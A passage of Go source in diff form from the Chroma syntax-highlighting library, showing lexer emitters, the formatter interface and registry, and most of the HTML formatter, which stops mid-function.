func (b *byGroupsEmitter) Emit(groups []string, state *LexerState) Iterator {
|
||||
iterators := make([]Iterator, 0, len(groups)-1)
|
||||
if len(b.Emitters) != len(groups)-1 {
|
||||
iterators = append(iterators, Error.Emit(groups, state))
|
||||
// panic(errors.Errorf("number of groups %q does not match number of emitters %v", groups, emitters))
|
||||
} else {
|
||||
for i, group := range groups[1:] {
|
||||
if b.Emitters[i] != nil {
|
||||
iterators = append(iterators, b.Emitters[i].Emit([]string{group}, state))
|
||||
}
|
||||
}
|
||||
}
|
||||
return Concaterator(iterators...)
|
||||
}
|
||||
|
||||
// ByGroupNames emits a token for each named matching group in the rule's regex.
|
||||
func ByGroupNames(emitters map[string]Emitter) Emitter {
|
||||
return EmitterFunc(func(groups []string, state *LexerState) Iterator {
|
||||
iterators := make([]Iterator, 0, len(state.NamedGroups)-1)
|
||||
if len(state.NamedGroups)-1 == 0 {
|
||||
if emitter, ok := emitters[`0`]; ok {
|
||||
iterators = append(iterators, emitter.Emit(groups, state))
|
||||
} else {
|
||||
iterators = append(iterators, Error.Emit(groups, state))
|
||||
}
|
||||
} else {
|
||||
ruleRegex := state.Rules[state.State][state.Rule].Regexp
|
||||
for i := 1; i < len(state.NamedGroups); i++ {
|
||||
groupName := ruleRegex.GroupNameFromNumber(i)
|
||||
group := state.NamedGroups[groupName]
|
||||
if emitter, ok := emitters[groupName]; ok {
|
||||
if emitter != nil {
|
||||
iterators = append(iterators, emitter.Emit([]string{group}, state))
|
||||
}
|
||||
} else {
|
||||
iterators = append(iterators, Error.Emit([]string{group}, state))
|
||||
}
|
||||
}
|
||||
}
|
||||
return Concaterator(iterators...)
|
||||
})
|
||||
}
|
||||
|
||||
// UsingByGroup emits tokens for the matched groups in the regex using a
|
||||
// sublexer. Used when lexing code blocks where the name of a sublexer is
|
||||
// contained within the block, for example on a Markdown text block or SQL
|
||||
// language block.
|
||||
//
|
||||
// An attempt to load the sublexer will be made using the captured value from
|
||||
// the text of the matched sublexerNameGroup. If a sublexer matching the
|
||||
// sublexerNameGroup is available, then tokens for the matched codeGroup will
|
||||
// be emitted using the sublexer. Otherwise, if no sublexer is available, then
|
||||
// tokens will be emitted from the passed emitter.
|
||||
//
|
||||
// Example:
|
||||
//
|
||||
// var Markdown = internal.Register(MustNewLexer(
|
||||
// &Config{
|
||||
// Name: "markdown",
|
||||
// Aliases: []string{"md", "mkd"},
|
||||
// Filenames: []string{"*.md", "*.mkd", "*.markdown"},
|
||||
// MimeTypes: []string{"text/x-markdown"},
|
||||
// },
|
||||
// Rules{
|
||||
// "root": {
|
||||
// {"^(```)(\\w+)(\\n)([\\w\\W]*?)(^```$)",
|
||||
// UsingByGroup(
|
||||
// 2, 4,
|
||||
// String, String, String, Text, String,
|
||||
// ),
|
||||
// nil,
|
||||
// },
|
||||
// },
|
||||
// },
|
||||
// ))
|
||||
//
|
||||
// See the lexers/markdown.go for the complete example.
|
||||
//
|
||||
// Note: panic's if the number of emitters does not equal the number of matched
|
||||
// groups in the regex.
|
||||
func UsingByGroup(sublexerNameGroup, codeGroup int, emitters ...Emitter) Emitter {
|
||||
return &usingByGroup{
|
||||
SublexerNameGroup: sublexerNameGroup,
|
||||
CodeGroup: codeGroup,
|
||||
Emitters: emitters,
|
||||
}
|
||||
}
|
||||
|
||||
type usingByGroup struct {
|
||||
SublexerNameGroup int `xml:"sublexer_name_group"`
|
||||
CodeGroup int `xml:"code_group"`
|
||||
Emitters Emitters `xml:"emitters"`
|
||||
}
|
||||
|
||||
func (u *usingByGroup) EmitterKind() string { return "usingbygroup" }
|
||||
func (u *usingByGroup) Emit(groups []string, state *LexerState) Iterator {
|
||||
// bounds check
|
||||
if len(u.Emitters) != len(groups)-1 {
|
||||
panic("UsingByGroup expects number of emitters to be the same as len(groups)-1")
|
||||
}
|
||||
|
||||
// grab sublexer
|
||||
sublexer := state.Registry.Get(groups[u.SublexerNameGroup])
|
||||
|
||||
// build iterators
|
||||
iterators := make([]Iterator, len(groups)-1)
|
||||
for i, group := range groups[1:] {
|
||||
if i == u.CodeGroup-1 && sublexer != nil {
|
||||
var err error
|
||||
iterators[i], err = sublexer.Tokenise(nil, groups[u.CodeGroup])
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
} else if u.Emitters[i] != nil {
|
||||
iterators[i] = u.Emitters[i].Emit([]string{group}, state)
|
||||
}
|
||||
}
|
||||
return Concaterator(iterators...)
|
||||
}
|
||||
|
||||
// UsingLexer returns an Emitter that uses a given Lexer for parsing and emitting.
|
||||
//
|
||||
// This Emitter is not serialisable.
|
||||
func UsingLexer(lexer Lexer) Emitter {
|
||||
return EmitterFunc(func(groups []string, _ *LexerState) Iterator {
|
||||
it, err := lexer.Tokenise(&TokeniseOptions{State: "root", Nested: true}, groups[0])
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return it
|
||||
})
|
||||
}
|
||||
|
||||
type usingEmitter struct {
|
||||
Lexer string `xml:"lexer,attr"`
|
||||
}
|
||||
|
||||
func (u *usingEmitter) EmitterKind() string { return "using" }
|
||||
|
||||
func (u *usingEmitter) Emit(groups []string, state *LexerState) Iterator {
|
||||
if state.Registry == nil {
|
||||
panic(fmt.Sprintf("no LexerRegistry available for Using(%q)", u.Lexer))
|
||||
}
|
||||
lexer := state.Registry.Get(u.Lexer)
|
||||
if lexer == nil {
|
||||
panic(fmt.Sprintf("no such lexer %q", u.Lexer))
|
||||
}
|
||||
it, err := lexer.Tokenise(&TokeniseOptions{State: "root", Nested: true}, groups[0])
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return it
|
||||
}
|
||||
|
||||
// Using returns an Emitter that uses a given Lexer reference for parsing and emitting.
|
||||
//
|
||||
// The referenced lexer must be stored in the same LexerRegistry.
|
||||
func Using(lexer string) Emitter {
|
||||
return &usingEmitter{Lexer: lexer}
|
||||
}
|
||||
|
||||
type usingSelfEmitter struct {
|
||||
State string `xml:"state,attr"`
|
||||
}
|
||||
|
||||
func (u *usingSelfEmitter) EmitterKind() string { return "usingself" }
|
||||
|
||||
func (u *usingSelfEmitter) Emit(groups []string, state *LexerState) Iterator {
|
||||
it, err := state.Lexer.Tokenise(&TokeniseOptions{State: u.State, Nested: true}, groups[0])
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return it
|
||||
}
|
||||
|
||||
// UsingSelf is like Using, but uses the current Lexer.
|
||||
func UsingSelf(stateName string) Emitter {
|
||||
return &usingSelfEmitter{stateName}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
package chroma
|
||||
|
||||
import (
|
||||
"io"
|
||||
)
|
||||
|
||||
// A Formatter for Chroma lexers.
|
||||
type Formatter interface {
|
||||
// Format returns a formatting function for tokens.
|
||||
//
|
||||
// If the iterator panics, the Formatter should recover.
|
||||
Format(w io.Writer, style *Style, iterator Iterator) error
|
||||
}
|
||||
|
||||
// A FormatterFunc is a Formatter implemented as a function.
|
||||
//
|
||||
// Guards against iterator panics.
|
||||
type FormatterFunc func(w io.Writer, style *Style, iterator Iterator) error
|
||||
|
||||
func (f FormatterFunc) Format(w io.Writer, s *Style, it Iterator) (err error) { // nolint
|
||||
defer func() {
|
||||
if perr := recover(); perr != nil {
|
||||
err = perr.(error)
|
||||
}
|
||||
}()
|
||||
return f(w, s, it)
|
||||
}
|
||||
|
||||
type recoveringFormatter struct {
|
||||
Formatter
|
||||
}
|
||||
|
||||
func (r recoveringFormatter) Format(w io.Writer, s *Style, it Iterator) (err error) {
|
||||
defer func() {
|
||||
if perr := recover(); perr != nil {
|
||||
err = perr.(error)
|
||||
}
|
||||
}()
|
||||
return r.Formatter.Format(w, s, it)
|
||||
}
|
||||
|
||||
// RecoveringFormatter wraps a formatter with panic recovery.
|
||||
func RecoveringFormatter(formatter Formatter) Formatter { return recoveringFormatter{formatter} }
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
package formatters
|
||||
|
||||
import (
|
||||
"io"
|
||||
"sort"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
"github.com/alecthomas/chroma/v2/formatters/html"
|
||||
"github.com/alecthomas/chroma/v2/formatters/svg"
|
||||
)
|
||||
|
||||
var (
|
||||
// NoOp formatter.
|
||||
NoOp = Register("noop", chroma.FormatterFunc(func(w io.Writer, s *chroma.Style, iterator chroma.Iterator) error {
|
||||
for t := iterator(); t != chroma.EOF; t = iterator() {
|
||||
if _, err := io.WriteString(w, t.Value); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}))
|
||||
// Default HTML formatter outputs self-contained HTML.
|
||||
htmlFull = Register("html", html.New(html.Standalone(true), html.WithClasses(true))) // nolint
|
||||
SVG = Register("svg", svg.New(svg.EmbedFont("Liberation Mono", svg.FontLiberationMono, svg.WOFF)))
|
||||
)
|
||||
|
||||
// Fallback formatter.
|
||||
var Fallback = NoOp
|
||||
|
||||
// Registry of Formatters.
|
||||
var Registry = map[string]chroma.Formatter{}
|
||||
|
||||
// Names of registered formatters.
|
||||
func Names() []string {
|
||||
out := []string{}
|
||||
for name := range Registry {
|
||||
out = append(out, name)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// Get formatter by name.
|
||||
//
|
||||
// If the given formatter is not found, the Fallback formatter will be returned.
|
||||
func Get(name string) chroma.Formatter {
|
||||
if f, ok := Registry[name]; ok {
|
||||
return f
|
||||
}
|
||||
return Fallback
|
||||
}
|
||||
|
||||
// Register a named formatter.
|
||||
func Register(name string, formatter chroma.Formatter) chroma.Formatter {
|
||||
Registry[name] = formatter
|
||||
return formatter
|
||||
}
|
||||
+648
@@ -0,0 +1,648 @@
|
||||
package html
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"html"
|
||||
"io"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
)
|
||||
|
||||
// Option sets an option of the HTML formatter.
|
||||
type Option func(f *Formatter)
|
||||
|
||||
// Standalone configures the HTML formatter for generating a standalone HTML document.
|
||||
func Standalone(b bool) Option { return func(f *Formatter) { f.standalone = b } }
|
||||
|
||||
// ClassPrefix sets the CSS class prefix.
|
||||
func ClassPrefix(prefix string) Option { return func(f *Formatter) { f.prefix = prefix } }
|
||||
|
||||
// WithClasses emits HTML using CSS classes, rather than inline styles.
|
||||
func WithClasses(b bool) Option { return func(f *Formatter) { f.Classes = b } }
|
||||
|
||||
// WithAllClasses disables an optimisation that omits redundant CSS classes.
|
||||
func WithAllClasses(b bool) Option { return func(f *Formatter) { f.allClasses = b } }
|
||||
|
||||
// WithCustomCSS sets user's custom CSS styles.
|
||||
func WithCustomCSS(css map[chroma.TokenType]string) Option {
|
||||
return func(f *Formatter) {
|
||||
f.customCSS = css
|
||||
}
|
||||
}
|
||||
|
||||
// WithCSSComments adds prefixe comments to the css classes. Defaults to true.
|
||||
func WithCSSComments(b bool) Option { return func(f *Formatter) { f.writeCSSComments = b } }
|
||||
|
||||
// TabWidth sets the number of characters for a tab. Defaults to 8.
|
||||
func TabWidth(width int) Option { return func(f *Formatter) { f.tabWidth = width } }
|
||||
|
||||
// PreventSurroundingPre prevents the surrounding pre tags around the generated code.
|
||||
func PreventSurroundingPre(b bool) Option {
|
||||
return func(f *Formatter) {
|
||||
f.preventSurroundingPre = b
|
||||
|
||||
if b {
|
||||
f.preWrapper = nopPreWrapper
|
||||
} else {
|
||||
f.preWrapper = defaultPreWrapper
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// InlineCode creates inline code wrapped in a code tag.
|
||||
func InlineCode(b bool) Option {
|
||||
return func(f *Formatter) {
|
||||
f.inlineCode = b
|
||||
f.preWrapper = preWrapper{
|
||||
start: func(code bool, styleAttr string) string {
|
||||
if code {
|
||||
return fmt.Sprintf(`<code%s>`, styleAttr)
|
||||
}
|
||||
|
||||
return ``
|
||||
},
|
||||
end: func(code bool) string {
|
||||
if code {
|
||||
return `</code>`
|
||||
}
|
||||
|
||||
return ``
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WithPreWrapper allows control of the surrounding pre tags.
|
||||
func WithPreWrapper(wrapper PreWrapper) Option {
|
||||
return func(f *Formatter) {
|
||||
f.preWrapper = wrapper
|
||||
}
|
||||
}
|
||||
|
||||
// WrapLongLines wraps long lines.
|
||||
func WrapLongLines(b bool) Option {
|
||||
return func(f *Formatter) {
|
||||
f.wrapLongLines = b
|
||||
}
|
||||
}
|
||||
|
||||
// WithLineNumbers formats output with line numbers.
|
||||
func WithLineNumbers(b bool) Option {
|
||||
return func(f *Formatter) {
|
||||
f.lineNumbers = b
|
||||
}
|
||||
}
|
||||
|
||||
// LineNumbersInTable will, when combined with WithLineNumbers, separate the line numbers
|
||||
// and code in table td's, which make them copy-and-paste friendly.
|
||||
func LineNumbersInTable(b bool) Option {
|
||||
return func(f *Formatter) {
|
||||
f.lineNumbersInTable = b
|
||||
}
|
||||
}
|
||||
|
||||
// WithLinkableLineNumbers decorates the line numbers HTML elements with an "id"
|
||||
// attribute so they can be linked.
|
||||
func WithLinkableLineNumbers(b bool, prefix string) Option {
|
||||
return func(f *Formatter) {
|
||||
f.linkableLineNumbers = b
|
||||
f.lineNumbersIDPrefix = prefix
|
||||
}
|
||||
}
|
||||
|
||||
// HighlightLines higlights the given line ranges with the Highlight style.
|
||||
//
|
||||
// A range is the beginning and ending of a range as 1-based line numbers, inclusive.
|
||||
func HighlightLines(ranges [][2]int) Option {
|
||||
return func(f *Formatter) {
|
||||
f.highlightRanges = ranges
|
||||
sort.Sort(f.highlightRanges)
|
||||
}
|
||||
}
|
||||
|
||||
// BaseLineNumber sets the initial number to start line numbering at. Defaults to 1.
|
||||
func BaseLineNumber(n int) Option {
|
||||
return func(f *Formatter) {
|
||||
f.baseLineNumber = n
|
||||
}
|
||||
}
|
||||
|
||||
// New HTML formatter.
|
||||
func New(options ...Option) *Formatter {
|
||||
f := &Formatter{
|
||||
baseLineNumber: 1,
|
||||
preWrapper: defaultPreWrapper,
|
||||
writeCSSComments: true,
|
||||
}
|
||||
f.styleCache = newStyleCache(f)
|
||||
for _, option := range options {
|
||||
option(f)
|
||||
}
|
||||
return f
|
||||
}
|
||||
|
||||
// PreWrapper defines the operations supported in WithPreWrapper.
|
||||
type PreWrapper interface {
|
||||
// Start is called to write a start <pre> element.
|
||||
// The code flag tells whether this block surrounds
|
||||
// highlighted code. This will be false when surrounding
|
||||
// line numbers.
|
||||
Start(code bool, styleAttr string) string
|
||||
|
||||
// End is called to write the end </pre> element.
|
||||
End(code bool) string
|
||||
}
|
||||
|
||||
type preWrapper struct {
|
||||
start func(code bool, styleAttr string) string
|
||||
end func(code bool) string
|
||||
}
|
||||
|
||||
func (p preWrapper) Start(code bool, styleAttr string) string {
|
||||
return p.start(code, styleAttr)
|
||||
}
|
||||
|
||||
func (p preWrapper) End(code bool) string {
|
||||
return p.end(code)
|
||||
}
|
||||
|
||||
var (
|
||||
nopPreWrapper = preWrapper{
|
||||
start: func(code bool, styleAttr string) string { return "" },
|
||||
end: func(code bool) string { return "" },
|
||||
}
|
||||
defaultPreWrapper = preWrapper{
|
||||
start: func(code bool, styleAttr string) string {
|
||||
if code {
|
||||
return fmt.Sprintf(`<pre%s><code>`, styleAttr)
|
||||
}
|
||||
|
||||
return fmt.Sprintf(`<pre%s>`, styleAttr)
|
||||
},
|
||||
end: func(code bool) string {
|
||||
if code {
|
||||
return `</code></pre>`
|
||||
}
|
||||
|
||||
return `</pre>`
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// Formatter that generates HTML.
|
||||
type Formatter struct {
|
||||
styleCache *styleCache
|
||||
standalone bool
|
||||
prefix string
|
||||
Classes bool // Exported field to detect when classes are being used
|
||||
allClasses bool
|
||||
customCSS map[chroma.TokenType]string
|
||||
writeCSSComments bool
|
||||
preWrapper PreWrapper
|
||||
inlineCode bool
|
||||
preventSurroundingPre bool
|
||||
tabWidth int
|
||||
wrapLongLines bool
|
||||
lineNumbers bool
|
||||
lineNumbersInTable bool
|
||||
linkableLineNumbers bool
|
||||
lineNumbersIDPrefix string
|
||||
highlightRanges highlightRanges
|
||||
baseLineNumber int
|
||||
}
|
||||
|
||||
type highlightRanges [][2]int
|
||||
|
||||
func (h highlightRanges) Len() int { return len(h) }
|
||||
func (h highlightRanges) Swap(i, j int) { h[i], h[j] = h[j], h[i] }
|
||||
func (h highlightRanges) Less(i, j int) bool { return h[i][0] < h[j][0] }
|
||||
|
||||
func (f *Formatter) Format(w io.Writer, style *chroma.Style, iterator chroma.Iterator) (err error) {
|
||||
return f.writeHTML(w, style, iterator.Tokens())
|
||||
}
|
||||
|
||||
// We deliberately don't use html/template here because it is two orders of magnitude slower (benchmarked).
|
||||
//
|
||||
// OTOH we need to be super careful about correct escaping...
|
||||
func (f *Formatter) writeHTML(w io.Writer, style *chroma.Style, tokens []chroma.Token) (err error) { // nolint: gocyclo
|
||||
css := f.styleCache.get(style, true)
|
||||
if f.standalone {
|
||||
fmt.Fprint(w, "<html>\n")
|
||||
if f.Classes {
|
||||
fmt.Fprint(w, "<style type=\"text/css\">\n")
|
||||
err = f.WriteCSS(w, style)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Fprintf(w, "body { %s; }\n", css[chroma.Background])
|
||||
fmt.Fprint(w, "</style>")
|
||||
}
|
||||
fmt.Fprintf(w, "<body%s>\n", f.styleAttr(css, chroma.Background))
|
||||
}
|
||||
|
||||
wrapInTable := f.lineNumbers && f.lineNumbersInTable
|
||||
|
||||
lines := chroma.SplitTokensIntoLines(tokens)
|
||||
lineDigits := len(strconv.Itoa(f.baseLineNumber + len(lines) - 1))
|
||||
highlightIndex := 0
|
||||
|
||||
if wrapInTable {
|
||||
// List line numbers in its own <td>
|
||||
fmt.Fprintf(w, "<div%s>\n", f.styleAttr(css, chroma.PreWrapper))
|
||||
fmt.Fprintf(w, "<table%s><tr>", f.styleAttr(css, chroma.LineTable))
|
||||
fmt.Fprintf(w, "<td%s>\n", f.styleAttr(css, chroma.LineTableTD))
|
||||
fmt.Fprintf(w, "%s", f.preWrapper.Start(false, f.styleAttr(css, chroma.PreWrapper)))
|
||||
for index := range lines {
|
||||
line := f.baseLineNumber + index
|
||||
highlight, next := f.shouldHighlight(highlightIndex, line)
|
||||
if next {
|
||||
highlightIndex++
|
||||
}
|
||||
if highlight {
|
||||
fmt.Fprintf(w, "<span%s>", f.styleAttr(css, chroma.LineHighlight))
|
||||
}
|
||||
|
||||
fmt.Fprintf(w, "<span%s%s>%s\n</span>", f.styleAttr(css, chroma.LineNumbersTable), f.lineIDAttribute(line), f.lineTitleWithLinkIfNeeded(css, lineDigits, line))
|
||||
|
||||
if highlight {
|
||||
fmt.Fprintf(w, "</span>")
|
||||
}
|
||||
}
|
||||
fmt.Fprint(w, f.preWrapper.End(false))
|
||||
fmt.Fprint(w, "</td>\n")
|
||||
fmt.Fprintf(w, "<td%s>\n", f.styleAttr(css, chroma.LineTableTD, "width:100%"))
|
||||
}
|
||||
|
||||
fmt.Fprintf(w, "%s", f.preWrapper.Start(true, f.styleAttr(css, chroma.PreWrapper)))
|
||||
|
||||
highlightIndex = 0
|
||||
for index, tokens := range lines {
|
||||
// 1-based line number.
|
||||
line := f.baseLineNumber + index
|
||||
highlight, next := f.shouldHighlight(highlightIndex, line)
|
||||
if next {
|
||||
highlightIndex++
|
||||
}
|
||||
|
||||
if !(f.preventSurroundingPre || f.inlineCode) {
|
||||
// Start of Line
|
||||
fmt.Fprint(w, `<span`)
|
||||
|
||||
if highlight {
|
||||
// Line + LineHighlight
|
||||
if f.Classes {
|
||||
fmt.Fprintf(w, ` class="%s %s"`, f.class(chroma.Line), f.class(chroma.LineHighlight))
|
||||
} else {
|
||||
fmt.Fprintf(w, ` style="%s %s"`, css[chroma.Line], css[chroma.LineHighlight])
|
||||
}
|
||||
fmt.Fprint(w, `>`)
|
||||
} else {
|
||||
fmt.Fprintf(w, "%s>", f.styleAttr(css, chroma.Line))
|
||||
}
|
||||
|
||||
// Line number
|
||||
if f.lineNumbers && !wrapInTable {
|
||||
fmt.Fprintf(w, "<span%s%s>%s</span>", f.styleAttr(css, chroma.LineNumbers), f.lineIDAttribute(line), f.lineTitleWithLinkIfNeeded(css, lineDigits, line))
|
||||
}
|
||||
|
||||
fmt.Fprintf(w, `<span%s>`, f.styleAttr(css, chroma.CodeLine))
|
||||
}
|
||||
|
||||
for _, token := range tokens {
|
||||
html := html.EscapeString(token.String())
|
||||
attr := f.styleAttr(css, token.Type)
|
||||
if attr != "" {
|
||||
html = fmt.Sprintf("<span%s>%s</span>", attr, html)
|
||||
}
|
||||
fmt.Fprint(w, html)
|
||||
}
|
||||
|
||||
if !(f.preventSurroundingPre || f.inlineCode) {
|
||||
fmt.Fprint(w, `</span>`) // End of CodeLine
|
||||
|
||||
fmt.Fprint(w, `</span>`) // End of Line
|
||||
}
|
||||
}
|
||||
fmt.Fprintf(w, "%s", f.preWrapper.End(true))
|
||||
|
||||
if wrapInTable {
|
||||
fmt.Fprint(w, "</td></tr></table>\n")
|
||||
fmt.Fprint(w, "</div>\n")
|
||||
}
|
||||
|
||||
if f.standalone {
|
||||
fmt.Fprint(w, "\n</body>\n")
|
||||
fmt.Fprint(w, "</html>\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *Formatter) lineIDAttribute(line int) string {
|
||||
if !f.linkableLineNumbers {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf(" id=\"%s\"", f.lineID(line))
|
||||
}
|
||||
|
||||
func (f *Formatter) lineTitleWithLinkIfNeeded(css map[chroma.TokenType]string, lineDigits, line int) string {
|
||||
title := fmt.Sprintf("%*d", lineDigits, line)
|
||||
if !f.linkableLineNumbers {
|
||||
return title
|
||||
}
|
||||
return fmt.Sprintf("<a%s href=\"#%s\">%s</a>", f.styleAttr(css, chroma.LineLink), f.lineID(line), title)
|
||||
}
|
||||
|
||||
func (f *Formatter) lineID(line int) string {
|
||||
return fmt.Sprintf("%s%d", f.lineNumbersIDPrefix, line)
|
||||
}
|
||||
|
||||
func (f *Formatter) shouldHighlight(highlightIndex, line int) (bool, bool) {
|
||||
next := false
|
||||
for highlightIndex < len(f.highlightRanges) && line > f.highlightRanges[highlightIndex][1] {
|
||||
highlightIndex++
|
||||
next = true
|
||||
}
|
||||
if highlightIndex < len(f.highlightRanges) {
|
||||
hrange := f.highlightRanges[highlightIndex]
|
||||
if line >= hrange[0] && line <= hrange[1] {
|
||||
return true, next
|
||||
}
|
||||
}
|
||||
return false, next
|
||||
}
|
||||
|
||||
func (f *Formatter) class(t chroma.TokenType) string {
|
||||
for t != 0 {
|
||||
if cls, ok := chroma.StandardTypes[t]; ok {
|
||||
if cls != "" {
|
||||
return f.prefix + cls
|
||||
}
|
||||
return ""
|
||||
}
|
||||
t = t.Parent()
|
||||
}
|
||||
if cls := chroma.StandardTypes[t]; cls != "" {
|
||||
return f.prefix + cls
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (f *Formatter) styleAttr(styles map[chroma.TokenType]string, tt chroma.TokenType, extraCSS ...string) string {
|
||||
if f.Classes {
|
||||
cls := f.class(tt)
|
||||
if cls == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf(` class="%s"`, cls)
|
||||
}
|
||||
if _, ok := styles[tt]; !ok {
|
||||
tt = tt.SubCategory()
|
||||
if _, ok := styles[tt]; !ok {
|
||||
tt = tt.Category()
|
||||
if _, ok := styles[tt]; !ok {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
}
|
||||
css := []string{styles[tt]}
|
||||
css = append(css, extraCSS...)
|
||||
return fmt.Sprintf(` style="%s"`, strings.Join(css, ";"))
|
||||
}
|
||||
|
||||
func (f *Formatter) tabWidthStyle() string {
|
||||
if f.tabWidth != 0 && f.tabWidth != 8 {
|
||||
return fmt.Sprintf("-moz-tab-size: %[1]d; -o-tab-size: %[1]d; tab-size: %[1]d;", f.tabWidth)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (f *Formatter) writeCSSRule(w io.Writer, comment string, selector string, styles string) error {
|
||||
if styles == "" {
|
||||
return nil
|
||||
}
|
||||
if f.writeCSSComments && comment != "" {
|
||||
if _, err := fmt.Fprintf(w, "/* %s */ ", comment); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if _, err := fmt.Fprintf(w, "%s { %s }\n", selector, styles); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteCSS writes CSS style definitions (without any surrounding HTML).
|
||||
func (f *Formatter) WriteCSS(w io.Writer, style *chroma.Style) error {
|
||||
css := f.styleCache.get(style, false)
|
||||
|
||||
// Special-case background as it is mapped to the outer ".chroma" class.
|
||||
if err := f.writeCSSRule(w, chroma.Background.String(), fmt.Sprintf(".%sbg", f.prefix), css[chroma.Background]); err != nil {
|
||||
return err
|
||||
}
|
||||
// Special-case PreWrapper as it is the ".chroma" class.
|
||||
if err := f.writeCSSRule(w, chroma.PreWrapper.String(), fmt.Sprintf(".%schroma", f.prefix), css[chroma.PreWrapper]); err != nil {
|
||||
return err
|
||||
}
|
||||
// Special-case code column of table to expand width.
|
||||
if f.lineNumbers && f.lineNumbersInTable {
|
||||
selector := fmt.Sprintf(".%schroma .%s:last-child", f.prefix, f.class(chroma.LineTableTD))
|
||||
if err := f.writeCSSRule(w, chroma.LineTableTD.String(), selector, "width: 100%;"); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
// Special-case line number highlighting when targeted.
|
||||
if f.lineNumbers || f.lineNumbersInTable {
|
||||
targetedLineCSS := StyleEntryToCSS(style.Get(chroma.LineHighlight))
|
||||
for _, tt := range []chroma.TokenType{chroma.LineNumbers, chroma.LineNumbersTable} {
|
||||
comment := fmt.Sprintf("%s targeted by URL anchor", tt)
|
||||
selector := fmt.Sprintf(".%schroma .%s:target", f.prefix, f.class(tt))
|
||||
if err := f.writeCSSRule(w, comment, selector, targetedLineCSS); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
tts := []int{}
|
||||
for tt := range css {
|
||||
tts = append(tts, int(tt))
|
||||
}
|
||||
sort.Ints(tts)
|
||||
for _, ti := range tts {
|
||||
tt := chroma.TokenType(ti)
|
||||
switch tt {
|
||||
case chroma.Background, chroma.PreWrapper:
|
||||
continue
|
||||
}
|
||||
class := f.class(tt)
|
||||
if class == "" {
|
||||
continue
|
||||
}
|
||||
if err := f.writeCSSRule(w, tt.String(), fmt.Sprintf(".%schroma .%s", f.prefix, class), css[tt]); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *Formatter) styleToCSS(style *chroma.Style) map[chroma.TokenType]string {
|
||||
classes := map[chroma.TokenType]string{}
|
||||
bg := style.Get(chroma.Background)
|
||||
// Convert the style.
|
||||
for t := range chroma.StandardTypes {
|
||||
entry := style.Get(t)
|
||||
if t != chroma.Background {
|
||||
entry = entry.Sub(bg)
|
||||
}
|
||||
|
||||
// Inherit from custom CSS provided by user
|
||||
tokenCategory := t.Category()
|
||||
tokenSubCategory := t.SubCategory()
|
||||
if t != tokenCategory {
|
||||
if css, ok := f.customCSS[tokenCategory]; ok {
|
||||
classes[t] = css
|
||||
}
|
||||
}
|
||||
if tokenCategory != tokenSubCategory {
|
||||
if css, ok := f.customCSS[tokenSubCategory]; ok {
|
||||
classes[t] += css
|
||||
}
|
||||
}
|
||||
// Add custom CSS provided by user
|
||||
if css, ok := f.customCSS[t]; ok {
|
||||
classes[t] += css
|
||||
}
|
||||
|
||||
if !f.allClasses && entry.IsZero() && classes[t] == `` {
|
||||
continue
|
||||
}
|
||||
|
||||
styleEntryCSS := StyleEntryToCSS(entry)
|
||||
if styleEntryCSS != `` && classes[t] != `` {
|
||||
styleEntryCSS += `;`
|
||||
}
|
||||
classes[t] = styleEntryCSS + classes[t]
|
||||
}
|
||||
classes[chroma.Background] += `;` + f.tabWidthStyle()
|
||||
classes[chroma.PreWrapper] += classes[chroma.Background]
|
||||
classes[chroma.PreWrapper] += ` -webkit-text-size-adjust: none;`
|
||||
// Make PreWrapper a grid to show highlight style with full width.
|
||||
if len(f.highlightRanges) > 0 && f.customCSS[chroma.PreWrapper] == `` {
|
||||
classes[chroma.PreWrapper] += `display: grid;`
|
||||
}
|
||||
// Make PreWrapper wrap long lines.
|
||||
if f.wrapLongLines {
|
||||
classes[chroma.PreWrapper] += `white-space: pre-wrap; word-break: break-word;`
|
||||
}
|
||||
lineNumbersStyle := `white-space: pre; -webkit-user-select: none; user-select: none; margin-right: 0.4em; padding: 0 0.4em 0 0.4em;`
|
||||
// All rules begin with default rules followed by user provided rules
|
||||
classes[chroma.Line] = `display: flex;` + classes[chroma.Line]
|
||||
classes[chroma.LineNumbers] = lineNumbersStyle + classes[chroma.LineNumbers]
|
||||
classes[chroma.LineNumbersTable] = lineNumbersStyle + classes[chroma.LineNumbersTable]
|
||||
classes[chroma.LineTable] = "border-spacing: 0; padding: 0; margin: 0; border: 0;" + classes[chroma.LineTable]
|
||||
classes[chroma.LineTableTD] = "vertical-align: top; padding: 0; margin: 0; border: 0;" + classes[chroma.LineTableTD]
|
||||
classes[chroma.LineLink] = "outline: none; text-decoration: none; color: inherit" + classes[chroma.LineLink]
|
||||
return classes
|
||||
}
|
||||
|
||||
// StyleEntryToCSS converts a chroma.StyleEntry to CSS attributes.
|
||||
func StyleEntryToCSS(e chroma.StyleEntry) string {
|
||||
styles := []string{}
|
||||
if e.Colour.IsSet() {
|
||||
